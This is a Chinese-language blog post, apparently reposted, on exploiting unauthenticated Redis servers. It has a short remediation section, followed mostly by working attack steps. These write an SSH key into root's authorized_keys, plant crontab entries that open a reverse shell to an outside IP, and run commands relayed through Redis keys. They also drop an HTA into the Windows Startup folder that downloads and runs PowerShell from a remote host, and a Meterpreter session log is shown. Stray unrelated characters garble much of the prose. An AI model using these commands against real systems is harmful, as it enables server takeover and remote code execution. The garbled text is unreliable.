【Kali】Redis未授權(quán)訪問漏洞

** 一促煮、漏洞描述和危害 **
Redis因配置不當(dāng)可以未授權(quán)訪問俱萍,被攻擊者惡意利用。
攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù)颂翼,可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)慨灭。
攻擊者可通過EVAL執(zhí)行l(wèi)ua代碼朦乏,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件,如果Redis以root身份運(yùn)行氧骤,黑客可以給root賬戶寫入SSH公鑰文件呻疹,直接通過SSH登錄受害服務(wù)器。
**二筹陵、已確認(rèn)被成功利用的軟件及系統(tǒng) **
對(duì)公網(wǎng)開放刽锤,且未啟用認(rèn)證的redis服務(wù)器。
三朦佩、建議修復(fù)方案

1并思、指定redis服務(wù)使用的網(wǎng)卡 (需要重啟redis才能生效)
在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#號(hào)去掉语稠,然后保存宋彼。注:修改后只有本機(jī)才能訪問Redis。

2、設(shè)置訪問密碼 (需要重啟redis才能生效)
在 redis.conf 中找到“requirepass”字段输涕,在后面填上你需要的密碼音婶,Redis客戶端也需要使用此密碼來訪問Redis服務(wù)。

3占贫、修改Redis服務(wù)運(yùn)行賬號(hào)
請(qǐng)以較低權(quán)限賬號(hào)運(yùn)行Redis服務(wù)桃熄,且禁用該賬號(hào)的登錄權(quán)限先口⌒桶拢可以限制攻擊者往磁盤寫入文件,但是Redis數(shù)據(jù)還是能被黑客訪問到碉京,或者被黑客惡意刪除厢汹。

4、設(shè)置防火墻策略
如果正常業(yè)務(wù)中Redis服務(wù)需要被其他服務(wù)器來訪問谐宙,可以設(shè)置iptables策略僅允許指定的IP來訪問Redis服務(wù)烫葬。

2.3 漏洞分析與利用
首先在本地生產(chǎn)公私鑰文件:

$ssh-keygen –t rsa
然后將公鑰寫入foo.txt文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再連接Redis寫入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
$ 192.168.1.11:6379> config get dir

  1. "dir"
  2. "/root/.ssh"
    $ 192.168.1.11:6379> config set dbfilename "authorized_keys"
    $ 192.168.1.11:6379> save
    這樣就可以成功的將自己的公鑰寫入/root/.ssh文件夾的authotrized_keys文件里,然后攻擊者直接執(zhí)行:

$ ssh –i id_rsa root@192.168.1.11
即可遠(yuǎn)程利用自己的私鑰登錄該服務(wù)器凡蜻。
當(dāng)然搭综,寫入的目錄不限于/root/.ssh 下的authorized_keys,也可以寫入用戶目錄划栓,不過Redis很多以root權(quán)限運(yùn)行兑巾,所以寫入root目錄下,可以跳過猜用戶的步驟忠荞。


轉(zhuǎn)載內(nèi)容
Redis利用姿勢(shì)收集
redis的exploit蒋歌,完全不需要flushall破壞數(shù)據(jù)場(chǎng)景,redis-cli set 1 ‘ringzero’委煤,這樣可以控制第一條記錄堂油,就能保證你的內(nèi)容始終保持在最前面;

測(cè)試環(huán)境:CentOS碧绞,RHEL

  1. 利用crontab反彈shell

redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save

  1. 利用crontab創(chuàng)建文件 /tmp/888

redis-cli flushall # 為了方便測(cè)試
redis-cli set test 'test'
redis-cli set my 'mymymymymymymymymymymymy'
redis-cli set word 'wordwordwordwordwordword'
redis-cli set hello 'ringzero'
redis-cli set word1 'word1word1word1word1word1word1'
echo -e "\n\n/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
redis-cli flushall
echo -e "\n\n
/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save

  1. 二次改寫crontab

redis-cli flushall
redis-cli set 2 ';a=redis-cli get c;'
redis-cli set 1 'id;redis-cli set r $a;#'
redis-cli config set dir /tmp/
redis-cli config set dbfilename w
redis-cli save
redis-cli set c whoami

  1. 利用第一步的寫crontab步驟府框,完成下面的命令

echo " " > /tmp/zz
cat /tmp/w >> /tmp/zz
/bin/sh /tmp/zz
redis-cli get r

控制 /var/spool/cron/root 和 /tmp/zz

最終實(shí)現(xiàn),每10秒從redis的c變量讀入要執(zhí)行的命令讥邻,再將執(zhí)行結(jié)果寫入變量r

          • sleep 10;/bin/sh /tmp/zz

windows利用方式(轉(zhuǎn)自90sec)

redis 官方未發(fā)布windows版本迫靖,但是野外存在redis/win版本。

在測(cè)試時(shí)發(fā)現(xiàn)一windows版本redis计维,遂開始搞袜香。

直接上利用,基于msf:

root@weisuo.org:~# cat hta-psh.txt
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
[url=mailto:root@weisuo.org]root@weisuo.org[/url]:~# cat hta-psh.txt |redis-cli -x -h 192.168.138.27 set a
OK

hta-psh.txt 對(duì)一些字符串進(jìn)行變通鲫惶,如不蜈首,在寫入時(shí)會(huì)導(dǎo)致字符串丟失。

msfconsole

use payload/windows/meterpreter/reverse_tcp
generate -t hta-psh -f /var/www/1.ps1
之后起個(gè)handle,略

修改1.ps1欢策,文件內(nèi)容大概如下:

$command=”powershell -nop -w hidden -e xxxxxxxxxxxxxxxx”;iex $command;$command2=”taskkill /im mshta.exe”;iex $command2;

最后寫入文件吆寨,等待管理員登陸

root@weisuo.org:~# redis-cli -h 192.168.138.27
redis 192.168.138.27:6379> CONFIG GET dir

  1. "dir"
  2. "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
    redis 192.168.138.27:6379> config get dbfilename
  3. "dbfilename"
  4. "2.hta"
    redis 192.168.138.27:6379> save
    OK
    redis 192.168.138.27:6379>[/p][p=20, null, left]
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.
 
[*] Started reverse TCP handler on 119.91.151.22:80
msf exploit(handler) > [*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 60.111.27.14
[*] Meterpreter session 4 opened (119.91.151.22:80 -> 60.191.37.34:56301) at 2016-06-06 11:06:00 -0400
[*] Session ID 4 (119.91.151.22:80 -> 60.111.27.14:56301) processing AutoRunScript 'migrate -f'
[*] Current server process: powershell.exe (4896)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3768
[+] Successfully migrated to process

本站內(nèi)容均為原創(chuàng),轉(zhuǎn)載請(qǐng)務(wù)必保留署名與鏈接踩寇!
redis利用姿勢(shì)收集:https://www.webshell.cc/5154.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末啄清,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子俺孙,更是在濱河造成了極大的恐慌辣卒,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,544評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件睛榄,死亡現(xiàn)場(chǎng)離奇詭異荣茫,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)场靴,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門啡莉,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人旨剥,你說我怎么就攤上這事咧欣。” “怎么了轨帜?”我有些...
    開封第一講書人閱讀 162,764評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵魄咕,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我阵谚,道長(zhǎng)蚕礼,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,193評(píng)論 1 292
  • 正文 為了忘掉前任梢什,我火速辦了婚禮奠蹬,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘嗡午。我一直安慰自己囤躁,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,216評(píng)論 6 388
  • 文/花漫 我一把揭開白布荔睹。 她就那樣靜靜地躺著狸演,像睡著了一般。 火紅的嫁衣襯著肌膚如雪僻他。 梳的紋絲不亂的頭發(fā)上宵距,一...
    開封第一講書人閱讀 51,182評(píng)論 1 299
  • 那天,我揣著相機(jī)與錄音吨拗,去河邊找鬼满哪。 笑死婿斥,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的哨鸭。 我是一名探鬼主播民宿,決...
    沈念sama閱讀 40,063評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼像鸡!你這毒婦竟也來了活鹰?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,917評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤只估,失蹤者是張志新(化名)和其女友劉穎志群,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體仅乓,經(jīng)...
    沈念sama閱讀 45,329評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡赖舟,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,543評(píng)論 2 332
  • 正文 我和宋清朗相戀三年蓬戚,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了夸楣。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,722評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡子漩,死狀恐怖豫喧,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情幢泼,我是刑警寧澤紧显,帶...
    沈念sama閱讀 35,425評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站缕棵,受9級(jí)特大地震影響孵班,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜招驴,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,019評(píng)論 3 326
  • 文/蒙蒙 一篙程、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧别厘,春花似錦虱饿、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,671評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至冗懦,卻和暖如春爽冕,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背披蕉。 一陣腳步聲響...
    開封第一講書人閱讀 32,825評(píng)論 1 269
  • 我被黑心中介騙來泰國打工颈畸, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留前塔,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,729評(píng)論 2 368
  • 正文 我出身青樓承冰,卻偏偏與公主長(zhǎng)得像华弓,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子困乒,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,614評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容

  • 1 Redis介紹1.1 什么是NoSql為了解決高并發(fā)娜搂、高可擴(kuò)展迁霎、高可用、大數(shù)據(jù)存儲(chǔ)問題而產(chǎn)生的數(shù)據(jù)庫解決方...
    克魯?shù)吕?/span>閱讀 5,291評(píng)論 0 36
  • 安全性 設(shè)置客戶端連接后進(jìn)行任何其他指令前需要使用的密碼百宇。 警告:因?yàn)閞edis 速度相當(dāng)快考廉,所以在一臺(tái)比較好的服...
    OzanShareing閱讀 1,716評(píng)論 1 7
  • Codis高可用方案官方推薦使用Sentinel Redis 本身就是最終一致性的。Master 掛了携御,Promo...
    三杯水Plus閱讀 2,734評(píng)論 2 8
  • 說明本次redis集群安裝在rhel6.8 64位機(jī)器上昌粤,redis版本為3.2.8,redis的gem文件版本為...
    讀或?qū)?/span>閱讀 14,721評(píng)論 3 9
  • 七十七啄刹,結(jié)束后涮坐,感覺自己沒有太多的情感起伏,甚至于在片中的時(shí)候希望77天過的快一點(diǎn)誓军,趕緊結(jié)束袱讹。路途中,男主角一邊靠...
    bearxs閱讀 246評(píng)論 0 0